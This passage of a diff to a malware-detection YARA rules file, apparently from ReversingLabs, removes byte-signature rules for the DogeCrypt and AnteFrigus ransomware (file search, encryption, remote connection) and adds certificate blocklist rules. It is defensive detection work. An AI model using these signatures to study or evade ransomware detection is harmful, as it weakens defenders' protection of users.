tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_DogeCrypt_p1 = { - 50 E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? BA ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 2B C6 89 B5 ?? ?? ?? ?? 3B C8 77 ?? 83 BD ?? ?? ?? ?? - ?? 8D 3C 31 8D 04 09 89 BD ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43 - B5 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52 - C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? - ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? 50 FF D6 8B F8 83 FF ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A - ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF D6 8B - F0 83 FE ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B - 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? - 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? - ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? - ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? - ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? - ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? - ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? - ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 - } - $encrypt_files_DogeCrypt_p2 = { - C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 - FA ?? 0F 82 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? - ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 90 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF - 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 0F 42 DA 85 C0 74 - ?? 85 C9 74 ?? 51 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? - 53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 56 8B 35 ?? ?? ?? ?? FF D6 57 - FF D6 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 51 E8 - ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 66 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? - ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 - C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 - 5D C3 - } - $find_files_DogeCrypt = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 - F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ?? - ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF - 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B - CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B - 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF - 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 - C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA - ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB - 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56 - 1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? - ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15 - ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 - C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? - 80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 - 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $decrypt_DesucryptKeyContainer_DogeCrypt = { - 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8D 55 ?? 83 7D ?? ?? 8B 5D ?? 8B 35 ?? ?? ?? ?? 0F 43 D3 A1 ?? ?? ?? ?? 8B - 4D ?? 2B C6 89 75 ?? 3B C8 77 ?? 83 3D ?? ?? ?? ?? ?? 8D 3C 31 8D 04 09 89 3D ?? ?? - ?? ?? 50 8B 45 ?? BE ?? ?? ?? ?? 0F 43 35 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ?? - 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52 C6 45 ?? ?? FF 75 ?? 51 B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ?? - 8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ?? 2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? - ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 0F 43 - 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 68 ?? ?? - ?? ?? 56 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 8D 45 ?? 6A ?? - 50 C6 07 ?? FF 35 ?? ?? ?? ?? 57 56 FF D3 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? - ?? ?? 57 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? - ?? ?? EB ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D C3 E8 ?? ?? ?? ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "We Build Toolbars LLC" and pe.signatures [ i ] . serial == "43:21:de:10:73:82:78:b9:36:83:ca:54:24:07:f1:03" and 1367884800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_2A6B2Df210Be14F4E18E10C7 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "150773ee-5d85-522d-a693-63bb6a7d1de2" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14548-L14564" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "24ae1664c35b7947e2e638bf620d9ab572c70df9cdc1403cc00b422a45ff9194" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $decrypt_DesucryptKeyContainer_DogeCrypt ) and ( $find_files_DogeCrypt ) and ( all of ( $encrypt_files_DogeCrypt_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "2a:6b:2d:f2:10:be:14:f4:e1:8e:10:c7" and 1472095404 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Antefrigus : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_412Ab2A50E8028Ddcbc499Ddf45F2045 : INFO FILE { meta: - description = "Yara rule that detects AnteFrigus ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "903ac92c-1a4a-5645-92db-d00b3bfd6ada" - date = "2021-03-05" - modified = "2021-03-05" + id = "aabb3a66-5677-5359-9d81-92c8d4c7d910" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.AnteFrigus.yara#L1-L210" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14566-L14582" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b84c01da0ee97a4eb8bf099c71094f994feb4c7185ad75b8b2ccda5eee283a92" + logic_hash = "a5b85d13dee51d68af28394ecee3dcc2efe7add4d26c2a8033d1855b33ac6271" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "AnteFrigus" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 68 ?? ?? ?? ?? 8B D0 - 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 83 65 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 - ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 C0 8D 7D - ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A ?? 8B 7A ?? 2B - CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B 12 57 52 51 8B - CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? - 83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D ?? 51 50 51 8D - 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 83 65 ?? ?? 8D 4D ?? 83 65 ?? ?? 50 E8 ?? - ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 83 7D ?? ?? 8B 55 ?? 0F 43 75 ?? 85 D2 74 ?? 83 C9 ?? - 8D 42 ?? 3B C1 0F 42 C8 03 CE EB ?? 3B CE 74 ?? 49 80 39 ?? 75 ?? 2B CE EB ?? 83 C9 - ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 8D 71 ?? C7 45 ?? ?? ?? ?? ?? C6 45 - } - $find_files_p2 = { - 3B D6 0F 82 ?? ?? ?? ?? 2B D6 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83 7D ?? ?? 51 0F - 43 45 ?? 8D 4D ?? 03 C6 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 45 ?? 50 83 - 61 ?? ?? 83 61 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? - 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 70 ?? 03 30 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? - ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? - C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? - ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ?? - ?? 03 F3 59 3B F7 75 ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ?? - ?? 03 F3 3B F7 75 ?? 8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ?? - 59 59 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E8 - } - $remote_connection_p1 = { - 55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 - 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? - ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43 - 8D ?? ?? ?? ?? 03 F9 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 0F 43 B5 ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? ?? ?? 33 DB 8B C7 89 9D - } - $remote_connection_p2 = { - 2B C6 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? EB ?? 66 0F BE 06 8D - 8D ?? ?? ?? ?? 0F B7 C0 50 E8 ?? ?? ?? ?? 46 3B F7 75 ?? 53 53 53 53 68 ?? ?? ?? ?? - C6 45 ?? ?? 88 5D ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 33 C0 50 - 6A ?? 50 50 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 45 ?? 85 - C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 33 C9 51 51 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 8B F0 85 F6 74 ?? 33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 - ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 FF 75 ?? FF D7 53 FF - D7 80 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81 - C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? - 8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? - E9 ?? ?? ?? ?? E8 - } - $encrypt_files_p1 = { - 66 39 03 0F 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 33 C0 8D 8D ?? - ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 39 9D ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8D 04 41 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? - ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 BA ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D - } - $encrypt_files_p2 = { - 8D ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ?? 33 C9 88 4D ?? 8D 8D ?? ?? ?? ?? FF 75 ?? 50 E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 - ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 C0 59 89 85 ?? - ?? ?? ?? 89 8D ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 88 - 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 45 ?? ?? 57 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8D 4D - ?? E8 ?? ?? ?? ?? 33 C0 C6 45 ?? ?? 57 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 4D ?? - 52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 8D ?? ?? ?? ?? 52 E8 ?? ?? ?? - ?? 83 EB ?? 75 ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? - ?? ?? ?? 39 9D ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? - ?? ?? 0F 43 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 8D 8D ?? - ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ?? - C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 - } - $encrypt_files_p3 = { - 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 